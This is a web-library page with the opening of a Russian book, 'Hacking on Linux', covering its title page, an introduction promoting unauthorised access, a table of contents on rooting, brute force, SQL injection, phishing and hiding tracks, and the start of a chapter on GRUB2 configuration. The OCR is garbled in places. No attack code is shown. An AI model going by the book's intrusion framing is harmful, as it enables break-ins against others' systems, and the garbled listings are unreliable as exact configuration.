КулЛиб - Классная библиотека! Скачать книги бесплатно 

Хакинг на LINUX [Денис Николаевич Колисниченко] (pdf) читать онлайн

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]
КоJШСНИЧЕНКО Д.

Н.

ХАКИНГ
НА

LINUX
"Издательство Наука и Техника"
Саша-Петербург

УДКОО4.42
ББК 32.973

Колисниченко Д. Н.
ХА.кинг НА LINUX - СПБ.: ИздлтFЛЬСГВо НАУкА и ТЕХНИКА, 2022. .:_ 320 с.,
ил.

ISBN 978-5-907592-00-1
Данная книга расскажет, как использовать Linux для несанкционированного
доступа к информационным системам, или, попросту говоря, для взлома.
(Примечание. Материал носит информационный характер и каждый сам решает, как его
использовать. Вся ответственность по использованию материала данной книги в противо­
законных целях ло:ж:ится на самого читателя).

Первая часть книги показывает, как взломать саму Linux - вы познакомитесь
с основами Linux; узнаете, как взломать локальную Linux-cиcтeмy и получить
права root; поговорим о различных уязвимостях в системе шифрования файлов
и папок eCryptfs; ну и, в заключение первой части, будет показано как взломать
Apache, MySQL, а также CMS WordPress.
Вторая часть книги расскажет, как использовать различные инструменты,
доступные в Linux, для взлома других систем (в том числе и Linux) - познако­
мимся с хакерским дистрибутивом Kali Linux и узнаем о лучших инструмен­
тах из этого дистрибутива; расскажем как взломать аккаунт в социальной сети;
научимся скрывать свою деятельность с помощью Tor; попробуем взломать
Апdrоid-приложение посредством инструментов, входящих в состав Linux и
еще много чего интересного.

Все права защищены. Никакu часn. данной книm не может быть воспрои1веденв в DКDA бы то ни было форме без письменного ра.зреmеRИ8
владельцев авторских. прав.
Издвтельсrво не несет отвстсrвенносn1 за во1Иа.:ныА ушерб. причиненный в JtOДe исnольэо88ИИ.1 waтeplWIOB данной книrи. а 1"88:8С за
доступносn. матернапов, ccwuot на mторые вы мmкете наkrи в этой kИиге. На момент подrотовки D1ИГИ к юдаRИ1О все CCЬIJDOI на иятерист•
ресурсы были действующими.

.11. 1 I JI,
ISBN 978-5-907592-00-1

Конта1m1Ые телефоны издательства:
(812) 412 70 26
Официальный сайт: www.nit.com.ru
© Колисниченко Д. Н.
© Издательство Наука и Техника (оригинал-макет)

Содержание
ВВЕДЕНИЕ .......................................................................................... 11
ГЛАВА 1. ОСНОВЫ LINUX ............................................................ 15
1.1. ПРОЦЕСС ЗАГРУЗКИ ОС. ЯДРО ................................................................................ 16
1.1.1. Загрузчики Linux................................................................................... 17
1.1.2. Заrруэчик GRUВ2 ................................................................................. 17
КонфНl)'J)ационные файлы ................................................................. 17
Выбор метки по умолчаншо ................................................................ 24
Пароль загрузчика GRUВ2................................................................... 24
Установка заrрузчика............................................................................ 26
1.1.3. Система инициализации ...................................................................... 27
Принцип работы.............................................•...................................... 28
КонфНl)'J)ационные файлы systemd .................................................... 30
Цели........................................................................................................ 32
Управление сервисами при использовании systemd.......................... 34
1.2. УЧЕТНЫЕ ЗАПИСИ ПОЛЬЗОВАТЕЛЕЙ .................................................................. 35
1.2.1. Введение в учетные записи Linux ....................................................... 35
1.2.2. Получе1mе полномочий root................................................................ 38
1.2.3. Управление учетными записями пользователей ................................ 44
Файлы /etc/passwd и /etc/shadow .......................................................... 45
Изменение и удаление учетных записей ........................................... 49
Группы пользователей .......................................................................... 53
1.2.4. Модули РАМ .......................................................................................... 53
Огра1mчиваем доступ к системе по IР-адресу ................................... 57
Ограничиваем время входа в систему................................................. 58
Ограниче1mе системных ресурсов с помощью РАМ ........................ 59
1.3. ПРАВА ДОСТУПА :К ФАЙЛАМ И :КАТАЛОГАМ .................................................... 61
1.3.1. Общие положеНИJ1................................................................................. 61
1.3.2. Смена владельца файла ........................................................................ 62
1.3.3. Определе1mе прав доступа .................................................................. 62
1.3.4. Специальные права доступа ................................................................ 65
1.3.5. Атрибуrы файла .................................................................................... 65

...

1.4. МОНТИРОВАНИЕ ФАЙЛОВЫХ СИСТЕМ.............................................................. 67



1.4.1. Монrируем файловые системы вручную ........................................... 67
1.4.2. Имена устройств ................................................................................... 69

·------------------------------------------------------------····················-

\:а1,11111 11а

I

i1111,

1.4.3. Монтируем файловые системы при загрузке ..................................... 72
1.4.4. Автом�rrическое монтирование файловых систем ............................. 73
1.4.5. Работа с журналом ................................................................................ 74
1.4.6. Преимущества файловой системы ext4 .............................................. 74
1.4.7. Специальные операции с файловой системой ................................... 75
Монтирование NТFS-разделов ............................................................ 75
Создание файла подкачки .................................................................... 76
Файлы с файловой системой ............................................................... 77
Создание и монтирование 1SO-образов .............................................. 78

ГЛАВА 2. ЛОКАЛЬНЫЙ ВЗЛОМ - ЛОМАЕМ ПАР ОЛЬ
ROOT......................................................................................... 81
2.1. ИСПОЛЬЗУЕМ ПОДМЕНУ ОБОЛОЧКИ .................................................................. 82
2.2. ИСПОЛЬЗУЕМ ЗАГРУЗОЧНЫЙ ДИСК ..................................................................... 84
2.3. УТИЛИТА CRUNCH: ГЕНЕРАТОР П АРОЛЕЙ ...............................................;........ 89

ГЛАВА 3. ПОЛУЧАЕМ ПРАВА ROOTHA VDS ......................... 91
3.1. СБОР ИНФОРМАЦИИ .................................................................................................... 92
3.2. КРИТИЧЕСКИЕ Д АННЫЕ ............................................................................................ 94
3.3. ФЛАГИ SUID/SGUID ......................................................................................................... 94
3.4. АН АЛИЗ ИСТОРИИ КОМАНД ..................................................................................... 95
3.S. ВОЗМОЖНОСТИ LINUX ................................................................................................ 96
3.6. ПЛ АНИРОВЩИК CRON.................................................................................................. 97
3.7. УЯЗВИМОСТИ ЯДРА ....................................................................................................... 98
3.8. БРУТФОРС SSH ................................................................................................................. 99
3.8.1. Использование Patator .......................................................................... 99
3.8.2. Инструмент Hydra............................................................................... 100
3.8.3. Инструмент Medusa ............................................................................ 100
3.8.4. Metasploit ............................................................................................. 100





........................ : .......................................................... .

( о ll'p,i;a111н·

ГЛАВА 4. УЯЗВИМОСТИ ECRYPTFS •........................•............. 103
4.1. ВЫБОР СРЕДСТВ ШИФРОВАНИЯ В LINUX ...........•....•................................•..... 104
4.2. АТАКА НА ECRYPTFS: ПОЛУЧАЕМ ПРИВИЛЕГИИ ROOT ........................... 107

ГЛАВА 5. ВЗЛОМ ПОПУЛЯРНЫХ СЕТЕВЫХ СЕРВИСОВ .. 109
5.1. УЯЗВИМОСТЬ В АРАСНЕ............................................................................................. 110

5 .1.1. Общее описание уязвимости ............................................................. 11О
5.1.2. Примеры использования уязвимости ................................................. 111
Пример 1 ............................................................................................... 111
Пример 2 ............................................................................................... 111
Пример З ............................................................................................... 111
Пример 4 .............................................................................................. 112
5.2. ВЗЛОМ MYSQL ................................................................................................................. 112
5.2.1. SQL-инъекции ..................................................................................... 112
5.2.2. Поиск жертвы ...................................................................................... 115
5.2.3. Брутфорс .............................................................................................. 117
5.2.4. Что делать дальше?............................................................................. 118
5.3. ВЗЛОМ WORDPRESS ...................................................................................................... 119

ГЛАВА 6. СБОР ИНФОРМАЦИИ ................................................ 121
6.1. ОБЩЕДОСТУПНЫЕ САЙТЫ..................................................................................... 122
6.2. ПОЛУЧЕНИЕ ИНФОРМАЦИИ О ДОМЕНЕ .......................................................... 123
6.3. КОМАНДА HOST............................................................................................................. 125
6.4. КОМАНДА DIG ................................................................................................................. 126
6.5. ОЧЕНЬ ПОЛЕЗНЫЙ ИНСТРУМЕНТ· DEEPMAGJC JNFORMATJON
GATHERING TOOL (DMITRY) ......................................................................... 127
6.6. КОМАНДА TRACE.(IOUTE ............................................................................................ 131
6.7. ИНСТРУМЕНТ METAGOOFIL .................................................................................... 133

•.------ -------- ---

-- ------ - -- -- - - - - ---- - -. -- .... - . ·- -.. . - - ... - ... - - ... -

.......... ..

ГЛАВА 7. ЧТО ТАКОЕ KALI LINUXИ КАК ЕГО ИСПОЛЪЗОВАТЬ ДЛЯ ВЗЛОМА .......................................................... 135
7.1. ВКРАТЦЕ О KALI .................................•.................•.............•........•.........•.............•....••..• 136
7.2. ГДЕ СКАЧАТЬ И КАК УСТ АНОВИТЬ KALI LINUX ......................•.•........•..•...... 140
7.3. ОБСЛУЖИВАНИЕ СИСТЕМЫ ...............•......••.•..........•...•..•...••••••..•.•..•..••.....•...•••••.•. 152
7.3.1. Обслуживание источников пакетов ................................................... 152
7.3.2. Ошибка "The disk contains ап unclean.file system (0, О). Metadata kept
in Windows cache, refused to mount" ........................................................... 153
7.3.3. Регулярная очистка системы ............................................................... 153
7.3.4. Задание пароля root. Вход как root....••.••..••.••••.•••••••.••••.•••••.••••.••.•••••. 155

ГЛАВА 8. ОБЗОР ЛУЧШИХ ИНСТРУМЕНТОВ KALI
LINUX.............................................................................. 157
8.1. WPSCAN ................................................................................................................. ·........... 158
8.2. NMAP ................................................................................................................................... 160
8.3. LYNIS ........................................................................................................•..................•....... 162
8.4. AIRCRACK-NG .....................................................••.•........•..••...............•...................•....... 163
8.5. HYDRA ..............•..................•.........•.........................•.......•........•........................•...........••..• 164
8.6. WIRESHARK ..............................................•........•..••............•..............................•......•...... 16S
8.7. METASPLOIT FRAMEWORK ...................................................................................... 165
8.8. SKIPFISH .................................................•.••........•..•.•••.........•.•.......•...•.•............•.•....••.•••••.. 166
8.9. SQLMAP........................................................•...........•....•....••.•..•..•..•.•....•....••••...•......••••...... 169
8.10. ВЗЛОМ П АРОЛЯ WINDOWS. JOHN ТНЕ RIPPER•............•...•......•.....·--·········· 175
8.11. WIRESHARK- З АХВАТ ТРАФИКА ............••...............•...........••..•.••...•...••..•...•..•.•..• 177
8.12. AUTOPSY FORENSIC BROWSER: ПРОФЕССИОН АЛЬНЫЙ ИНСТРУМЕНТ
ПРАВООХРАНИТЕЛЬНЫХ ОРГАНОВ...................................-•.............•..•... 179
8.13. NIKTO.........................................................................................•..........•...............•..•....•.•. 194
8.14. SNORT ................................................................•..•.........•••.....•..•....••.......•..-•.....•..•...••.•.•• 197



8.15. AIRFLOOD .....................................................................................................................;. 197

.....................................................................................

( 11 ll'p,1,.tlllll'

8.16. APKTOOL......................................................................................................................... 197
8.17. NESSUS - ЛУЧШИЙ СКАНЕР УЯЗВИМОСТЕЙ ................................................ 200
8.18. FCRACКZIP- ВЗЛОМ ПАРОЛЯ ZIP-APXИBA.................................................... 201

ГЛАВА 9. ИСПОЛЬЗОВАНИЕ METASPLOIT ДЛЯ ВЗЛОМА... 203
9.1. Ч ТО ТАКОЕ METASPLOIT .......................................................................................... 204
9.2. СТРУКТУРА ФРЕЙМВОРКА ...................................................................................... 206
9.3. БАЗОВАЯ ТЕРМИНОЛОГИЯ...................................................................................... 207
9.4. КОНФИГУРАЦИИ ФРЕЙМВОРКА И ОСНОВНЫЕ КОМАНДЫ ................... 209
9.5. КОНФИГУРАЦИЯ МОДУЛЕЙ .................................................................................... 210
9.6. ПЕРВЫЙ ЗАПУСК METASPLOIT .............................................................................. 211
9.7. ПРАКТИЧЕСКОЕ ИСПОЛЬЗОВАНИЕ КОМАНД METASPLOIТ ................... 215
9.7.1. Команда help - получение справки ................................................... 215
9.7.2. Команда use -выбор модуля для использования ............................ 215
9.7.3. Команда show- показ сущностей ..................................................... 216
9.7.4. Команды setн sеtg-установка значений переменных ................... 221
9.7.5. Команда check- проверка целевой системы.................................... 222
9.7.6. Команда back-возврат ...................................................................... 222
9.7.7. Команда run -запуск эксплоита ....................................................... -223
9.7.8. Команда resource -определение ресурса ......................................... 223
9.7.9. Команда irb .......................................................................................... 224
9.8. ПРАКТИЧЕСКИЙ ПРИМЕР 1: ВЗЛАМЫВАЕМ СТАРЕНЬКИЙ СЕРВЕР
WINDOWS 2008 С ПОМОЩЬЮ ЭКСПЛОИТА АНБ ................................. 224
9.9. ПРАКТИЧЕСКИЙ ПРИМЕР 2: ХАКАЕМ СОВРЕМЕННЫЕ СИСТЕМЫ WINDOWS SERVER 2016 И WINDOWS 10 .................................................... 228

ГЛАВА 10. ВЗЛОМ И ЗАЩИТА АККАУНТОВ В СОЦИАЛЬПЫХ СЕТЯХ......................................................................... 233
10.1. КТО И ЗАЧЕМ ВЗЛАМЫВАЕТ АККАУНТЫ........................................................ 234



10.2. СБОР ИНФОРМАЦИИ ................................................................................................ 236

····------------------------------------------··-------··--···--·······-···-······--

'\а 1, 11111 11.1 1 11111,

10.3. МЕТОДЫ ВЗЛОМА ....................................................................................................... 241
10.3.1. Взлом электронной почты................................................................ 241
10.3.2. Социальный инжиниринг ................................................................ 242
10.3.3. Перебор пароля ................................................................................. 242
10.3.4. Фишинr или фейковая страничка. Очень подробное руководство245
10.3.5. Клавиатурный шпион ....................................................................... 256
10.3.6. Подмена DNS .................................................................................... 257

10.4. КАК УБЕРЕЧЬСЯ ОТ ВЗЛОМА ............................................................................... 257

ГЛАВА 11. АНОНИМНОСТЬ В ИНТЕРНЕТЕ......................... 259
11.1. ЧАСТИЧНАЯ АНОНИМНОСТЬ .............................................................................. 260
11.2. ЦЕПОЧКИ ПРОКСИ..................................................................................................... 262
11.3. ПРОЕКТ TOR .................................................................................................................. 263
11.3.1. Что такое Tor...................................................................................... 263
11.3.2. Как работает браузер Tor .................................................................. 264
11.3.3. Кто и зачем использует Tor?............................................................. 267
11.3.4. Что лучше VPN или Tor? .:................................................................ 267
11.3.5. Tor и VPN ........................................................................................... 269
Tor через VPN.................................................................................... 269
VPN через Tor.................................................................................... 270
11.3.6. Использование браузера Tor в Windows.......................................... 271
11.3.7. Тонкая настройка Tor ........................................................................ 274
Установка выходных узлов .............................................................. 274
Фиксирование входных узлов .......................................................... 275
Исключение подозрительных узлов ................................................ 276
Запрещаем использовать комп в качестве выходного узла ........... 276
Установка прокси-сервера в Tor ...................................................... 277
Друтие параметры конфигурационного файла .............................. 277

11.4. VPN ДЛЯ LINUX............................................................................................................. 282
11.S. ЧТО ТАКОЕ DARКNET? ............................................................................................. 284
11.6. НА ПУТИ К ПОЛНОЙ АНОНИМНОСТИ ............................................................. 28S

...

11.7. ЗАМЕТАЕМ СЛЕДЫ..................................................................................................... 287



11.7.1. Приложения ДJIЯ безопасного удаления данных с жестких дисков ....287

------------------------------------------------------------------------ ---- -----·

( о 1ержа 1111t·

11.7.2. Удаление инфы с SSD ....................................................................... 288
11.7.3. Запутываем следы ............................................................................. 291

ГЛАВА 12. КАК МОЖНО ВЗЛОМАТЬ ANDROID.................. 293
12.1. ПРИБОРЫ И МАТЕРИАЛЫ ...................................................................................... 294
12.2. ВСКРЫВАЕМ АРК ........................................................................................................ 298
12.3. ВНОСИМ ИЗМЕНЕНИЯ В ПРОГРАММУ............................................................. 302
12.4. УСТАНОВКА ANDROID STUDIO В LINUX .............;............................................ 304

ГЛАВА 13. СКРИПТИНГ ДЛЯ ХАКЕРА.................................... 309
13.1. ВЗЛОМ FTP...................................................................................................................... 310
13.2. ПРОВЕРКА ПОРТОВ ....................................................................................................311
13.3. СКАНИРОВАНИЕ MYSQL ......................................................................................... 312
13.4. ТСР-СЕРВЕР НА PYTHON ......................................................................................... 314
13.S. КАК ЗАПУСКАТЬ СКРИПТЫ ИЗ ЭТОЙ ГЛАВЫ? ............................................. 315



. - - - - . - - .. - - - - - . - ... - -.. - - -. - - -.. - -.. - - - .. - -... -... - - -. - - ... - - .. - -- . . -... - -.. - -

. ...

Введение

Данная книга показывает, как использовать Linux для несанкционирован­
ного доступа к информационным системам. Попросту говоря для взлома.
Первая часть книги показывает, как взломать саму Linux, вторая - как
использовать различные инструменты, доступные в Linux, для взлома дру­
гих систем, опять-таки, в том числе и Linux.
Мы предупреждаем читателя: материал носит информационный характер и
каждый сам решает, как его использовать. Вся ответственность по использо­
ванию материала данной книги в противозаконНЪIХ целях ложится на само­
го читателя. В книге не показываются примеры взлома каких-то реальных
систем и сервисов.
В первой главе приводятся основы Linux. Ты не сможешь взломать Linux,
не понимая, как она работает. Это относится не только к Linux, а и к любой
другой системе. Нужно понимать, как работает та или иная система, знать ее
тонкости и нюансы и только потом возможен ее взлом. Поэтому если ты не
знаком с Linux, то чтение этой книги нужно начать именно с первой главы,
не пропуская ее.

--

- - - - - - - - - - - - - - - - -- - - -- - - - - - - - - -- - -



-- - ---- - - -- - - -- - - - -- - - -- - - - - - - --- - - --- - -------·

Вве H'lllft'

Далее будет показано, как взломать локальную Linux-cиcтeмy и получить
права root. Когда нет доступа к "железу", все усложняется, но нет ничего не­
возможного. И такой случай рассматривается в главе 3.
Четвертая глава посвящена различным уязвимостях в системе шифрования
файлов и папок eCryptfs. Пятая глава будет самой интересной в этой части
книги, поскольку будет показано, как взломать Apache, MySQL, а также
CMS WordPress.
Следующая часть книги посвящена хакерским инструментам в Linux, ко­
торые можно использовать как для взлома самой Linux, так и для взлома
других систем. В главе 7 состоится знакомство с хакерским дистрибутивом
Kali Linux, а в главе 8 будут описаны популярные инструменты из этого
дистрибутива. Один из этих инструмеIПОв заслуживает отдельного разгово­
ра, и он состоится в главе 9.
В главе 1 О попытаемся взломать аккаунт в социальной сети, а в главе 11 научимся скрывать свою деятельность с помощью Tor.
Дальнейший материал посвящен взлому Аndrоid-приложения посредством
инструментов, входящих в состав Linux. Также немного поговори:м про
скриптинг для хакера.
Добро пожшювать на темную сторону!

•.

------ ---- - - - - - - - - -- --- ------ --- ----- - - -- - - - - - - - - - - - - - - - - -- - -- - - --- - - - - - - - - - - - - -

....

Глава 1.

Основы Linux

'\al,11111 11,1 J ilHI\

1.1. Процесс загрузки ОС. Ядро
Что происходит, когда ты нажимаешь кнопку питания для включения
компьютера? Сейчас не будем вдаваться во все технические моменты,
поскольку нас интересует только Linux.
Если вкраще, то запускается специальная программа - BIOS (Вasic lnput
Output System). Данная программа "зашита" в микросхему на материнской
плате. Задача этой программы - запустить программу-загрузчик операцион­
ной системы. Алгоритм следующий. В настройках (BIOS SEТUP) определя­
ется загрузочная последовательность (Вооt Sequence), например, жесткий
диск, флешка, DVD - именно на этих устройствах и в заданной последова­
тельности BIOS будет искать загрузчик операционной системы. Как только
она будет найдена, BIOS запускает ее и передает управление.
Задача загрузчика - найти ядро операционной системы и передать ему
управление. Также загрузчик может отображать какое-то загрузочное меню
(зависит от его конфигурационных файлов), позволяющее выбрать другую
конфигурацию загрузки или даже другую операционную систему. Но обо
всем этом - далее.

..... .

- - - - - - - - - - - - . - - - . - - - . - . - - - - - - - - - - - - - - - .. - - - . - - - .. - - - ..



- .. - - - . -- ... - - --- . -- - - .

) 1,11',1 1. ( )('IIOl\1,1 ( illll\

1.1.1. Загрузчики Linux
Существует несколько загрузчиков Linux. На сегодняшний день основным
загрузчиком является GRUВ2, который устанавливается по умолчанию во
всех современных дистрибутивах Linux.
Одним из самых "древних" загрузчиков является LILO (Llnux LOader). Этот
загрузчик давно уже не используется. и ему на смену пришел загрузчик
GRUВ (GRand Unified Bootloader). GRUВ является более гибким загрузчи­
ком и "понимает" много разных файловых систем, в том числе FAT/FAT32,
ext2, ехtЗ, ReiserFS, XFS, BSDFS.
На смену GRUВ пришел загрузчик GRUВ2. Его отличия - очень запутан­
ный и неудобный файл конфигурации, но время не стоит на месте и тебе
придется иметь дело с ним, поскольку он установлен во всех совре­
менных дистрибутивах Linux. Про обычный GRUВ уже все давно забьmи.
Даже если у тебя окажется какой-то древний дистрибутив, который поддер­
живает оба загрузчика (бьmи такие в переходной период), все равно ты вы­
берешь GRUВ2, поскольку кроме неудобного синтаксиса конфига он еще
поддерживает ext4, LVМ и UEFI. А эти "пасочки" ты обязательно захочешь
использовать.

1.1.2. Загрузчик GRUB2
Конфигурационные файлы
В :каталоге /etc/grub.d хранятся шаблоны, определяющие настройки GRUВ2.
Также некоторые его параметры хранятся в файле /etc/default/grub. По
шаблонам из /etc/grub.d и файлу /etc/default/grub программой /usr/sbin/grub­
mkconfig создается рабочий конфигурационный файл /Ьoot/gruЬ/grub.cfg,
который по задумке разработчиков GRUВ2 пользователь не должен редак­
тирова:rь вручную.
Поэтому есть две стратегии настройки GRUB2. Первая заключается в
непосредственном редактировании файла /Ьoot/gruЫgrub.cfg. Загрузчику
GRUВ2 все равно, кто или что отредактирует этот файл - или пользователь
или программа g,ub-mkconfig. Вторая заключается в редактировании файлов
из :каталога /etc/grub.d и файла /etc/default/grub. После чего нужно ввести

•·---------------------------------------------------------------------------------

...

\.,11;11111 11,1 1 11111\

команду grub-mkconfig для создания файла /Ьoot/gruЬ/grub.cfg по заданным
тобой настройкам.
Чтобы решить, какая из стратегий для тебя лучше, нужно знать формат и со­
держимое всех этих файлов. Начнем с основного файла конфигурации, кото­
рый сложнее и длиннее файла конфигурации обычного GRUВ (см. лист. 1.1 ).

*

Листинг 1.1. Файл конфиrурации /boot/gruЬ/grub.cfg

# Не редактируй этот файл вручную!
#
# Он автоматически генерируется пр9граммой grub-mkconfig по шаблонам
it из /etc/grub.d и настройкам из /etc/default/grub

*

#itit НАЧАЛО файла /etc/grub.d/OO_header itit#
if [ -s $prefix/grubenv ]; then
load env
fi
# Загрузочная метка по умолчанию
set default="O"
if [ "${prev_saved_entry}" ]; then
set saved_entry="${prev_saved_entry}"
save_env saved_entry
set prev_saved_entry=
save_env prev_saved_entry
set boot once =true
fi
function savedefault {
if [ -z "${boot_once}" ]; then
saved_entry="${chosen}"
save env saved_entry
fi
function
insmod
insmod
insmod
insmod

-

load video
vbe
vga
video bochs
video cirrus

insmod part_msdos
insmod ext2
t Корневое устройство

-- - -- - - - - - - - - - - - - - - - - - - - - - -- - - -- - - - - ----- - - - - - -- - -

-- -- - - -- - - - - - - - --- - - --- - -- - -- _,

1 1.11"1 1

( ., 11'11, 1,1 1 11111 \

set root= ' (hdO,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
if loadfont /usr/share/gruЬ/unicode.pf2 ; then
set gfxmode=640x480
load video
insmod gfxterm
insmod part_msdos
insmod ext2
set root=' (hdO,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
set locale_dir= ($root)/boot/gruЬ/locale
set lang=ru_RU
insmod gettext
fi
terminal_output gfxterm
set timeout=S
ttt КОНЕЦ файла /etc/grub.d/OO_header ttt
ttt НАЧАЛО файла /etc/grub.d/OS_debian_theme ttt
insmod part_msdos
insmod ext2
t Корневое устройство
set root=' (hdO,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
insmod png
if background_image /usr/share/images/desktop-base/joy-gruЬ.png; then
set color_normal=white/Ыack
set color_highlight=Ыack/white
else
set menu_color_normal=cyan/Ыue
set menu_color_highlight=white/Ыue
fi
ttt КОНЕЦ файла /etc/grub.d/OS_debian_theme ttt
ttt НАЧАЛО файла /etc/grub.d/lO_linux ttt
t Содержит главную загрузочную метку. Далее Ъ8:,;! ее рассмотрю,: подробнее
пenuentry 'DeЬian GNU/Linux, Linux 3.2.0-4-am::l.64' --class deЬian --class gnu­
linux --class gnu --class os {
load video
insmod gzio
insmod part_msdos
insmod ext2
set root= ' (hdO,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
echo 'Загружается Linux 4.2.0-4-amd64 ... '

'--------------------------------------------------------------------------------

...

\. ,11, 11111 11,1 1 11111 \

linux /boot/vmlinuz-4.2.0-4-amd64 root=UUID=b7300e54-fff5-4f31-8002bea43c64f344 ro initrd=/install/gtk/initrd.gz quiet
echo 'Загружается начальный ramdisk ... '
initrd /boot/initrd.img-4.2.0-4-amd64
menuentry 'DeЬian GNU/Linux, Linux 4.2.0-4-amd64 (recovery mode)' --class
debian --class gnu-linux --class gnu --class os {
load video
insmod gzio
insmod part_msdos
insmod ext2
set root=' (hd0,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
echo 'Загружается Linux 4.2.0-4-amd64 . ,.'
linux /boot/vmlinuz-4.2.0-4-amd64 root=UUID=b7300e54-fff5-4f31-8002bea43c64f344 ro single initrd=/install/gtk/initrd.gz
echo 'Загружается начальный ramdisk ... '
initrd /boot/initrd.img-4.2.0-4-amd64
}

### КОНЕЦ /etc/grub.d/l0_linux ###
### НАЧАЛО /etc/grub.d/20_linux_xen ###
### КОНЕЦ /etc/grub.d/20_linux_xen ###
### НАЧАЛО /etc/grub.d/20_memtest86+ ###
# Метка для memtest86 - программы для проверки памяти
menuentry "Memory test (memtest86+)" {
insmod part_msdos
insmod ext2
set root=' (hd0,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
linuxl6 /boot/memtest86+.bin
menuentry "Memory test (memtest86+, serial console 115200)" 1
insmod part_msdos
insmod ext2
set root=' (hd0,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344
linuxl6 /boot/memtest86+.bin console= ttyS0,115200nB
menuentry "Memory test (memtest86+, experimental multibqot)"
insmod part_msdos
insmod ext2
set root=' (hd0,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c64f344

....

- - - - - - - - - - - - - - - - - - - - - - - - -- - - - - . - - - - - -- -- - - . - - . - - - - - - - - - . - - - - - - - - - -- - - . - - . -- - - -

_,

1 1.11•.. 1 1. Ос11ов1.1 1 11111,

mul tiboot /boot/memtest86+ mul tiboot. Ьin
menuentry "Memory test (memtest86+, serial console 115200, experimental
multiboot)" {
insmod part_msdos
insmod ext2
set root=' (hd0,msdosl)'
search --no-floppy --fs-uuid --set=root b7300e54-fff5-4f31-8002bea43c 64f344
multiboot /boot/memtest86+_multiboot.Ьin console= ttyS0,115200n8
### КОНЕЦ /etc/grub.d/20_memtest86+ ###
# Далее этот файл я немного сократил, поскольку дальше в нем нет
ничего интересного

Файл огромный и его сишаксис напоминает сишаксис Ьаsh-сценариев. Если
ты просмотрел этот конфигурационный файл, то уже догадался, что делает
программа grub-mkconfig: она собирает воедино все файлы из каталога
/etc/grub.d (кстати, в листинге 1.1 перечислена большая часть из этих фай­
лов) и вносит в общий конфигурационный файл из /etc/default/grub:
Основная запись из всего листинга 1.1 - это запись menuentry. Именно в та­
ких записях описываются элементы меню загрузчика GRUВ.
п-enuentry 'DeЬian GNU/Linux, Linux 4.2.0-4-arrd64' --class deЬian --class gnu­
linux --class gnu --class os {
load video
insmod gzio
insmod part msdos
insmod ext2
set root=' (hd0,msdosl)'
search --no-floppy --fs -uuid --set=root b7300e54-fff5-4f31-8002 bea43c64f344
echo 'Loading L inux 4.2.0-4-amd64 .. . '
linux/boot/vmlinuz-4.2.0-4-amd64 root =UUID= b7300e54-fff5-4f318002-bea43c64f344 ro initrd=/install/gtk/initrd.gz quiet
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-4.2.0-4-amd64

В одинарных кавычках после menuentry указывается название загрузоч­
ной метки. Далее идут параметры, которые вообще можно не указывать и
от этого Debian загружаться не перестанет. В фигурных скобках - основная



.....................................................................................

конфигурация. Директива load_video - это не что иное, как вызов функции
load_video, которая также описана в этом файле конфигурации. Функция
вставляет некоторые модули (кома�ща insmod), необходимые для работы
графического режима. Обратите внимание, что команды insmod загружают
не модули ядра Linux, а модули GRUВ2, которые находятся в каталоге /Ьооt/
grub.
Внутри {} можно использовать команду echo для обозначения различных
этапов загрузки, что и сделано в нашем примере. Можете отказаться от echo,
на загрузку это никак не повлияет.
Основные команды - это linux и initrd. Первая указывает путь к ядру Linux
и задает параметры ядра. В нашем случае параметр ядра root указывает
устройство, на котором находится корневая файловая система. Устройство
указано в виде UUID. UUID-имeнa очень удобны. Представим, что у тебя
есть один жесткий диск SATA и два контроллера. Если ты подключишь его
ко второму контроллеру, обычное имя изменится (например, было /dev/sda, а
стало /dev/sdb), а UUID-имя - нет. При желании, можно указать имя в старом
формате, например, root=/dev/sdal . Параметр ядра root задает монтирование
корневой файловой системы в режиме "только чтение" (это нормально, поз­
же она будет перемонтирована), initrd- задает файл RamDisk, а последний
параметр ядра quiet задает "тихую" загрузку ядра, при которой будут выво­
диться только самые важные сообщения.
Кома�ща initrd задает путь к файлу initrd.
Теперь рассмотрим файл /etc/default/grub (лисmнг 1.2)
Листинr 1.2. Файл /etc/default/grub
t После редактирования этого файла запустите команду 'update-gruЬ' для
t обновления файла /boot/gruЬ/grub.cfg.

*
*

Для получения полной информации об этом файле введите команду
info -f grub -n 'Simple configuration'

t Загрузочный элемент (menuentry по умолчанию)
GRUB DEFAULT=0
t Таймаут
GRUB TIMEOUT=S
t Задает название дистрибутива, не изменяй эту строку
GRUB_DISTRIBUTOR='lsb_release -i -s 2> /dev/null 11 echo Debian'
t Параметры ядра Liпux по умолчанию
GRUB-CMDLINE-LINUX-DEFAULT="quiet"

.

- ••••••••••••••••••• - - -•• - ••••• -•• - •• - • - -•• - - - • ---·. - - - --· ••••••••-•---• ··-•••• -- о.

\ 1,11\ 1 \. ( )l 1101\1,1 \ illll\

# Еще одна строка для задания параметров ядра
GRUB_CMDLINE_LINUX="initrd=/install/gtk/initrd.gz"
# Раскомментируй эту строку, если нужно отключить графический режим
#GRUB TERМINAL=console
# Разрешение в графическом режиме
# Можно_ использовать только те режимы, которые видеокарта
# поддерживает через VBE. Просмотреть- список
# таких режимов можно с помощью команды 'vbeinfo'
#GRUB GFXМODE=640x480
# Раскомментируй эту строку, если не хочешь
# использовать UUID-имeнa устройств
#GRUB-DISAВLE-LINUX-UUID=true
# РасскОМ1Ентируй, если хочешь запретить генерирование меток восстановления
#GRUB-DISAВLE-RECOVERY="true"
# Раскомментируй, если нужно получить гудок при загрузке GRUB
#GRUB INIT TUNE="480 440 1"

Как видишь, параметры из файла /etc/default/grub понятны и не нуждаются
в особых комментариях. Но в нем мы узнали о еще одной команде - update­
grnb. Так какую из них использовать - update-grnb или grub-mkcon.fig?
На самом деле это почти одна и та же команда. Дело в том, что команда grub­
mkcon.fig по умолчанию выводит конфШ'}'Рацшо GRUВ2 на экран, поэтому,
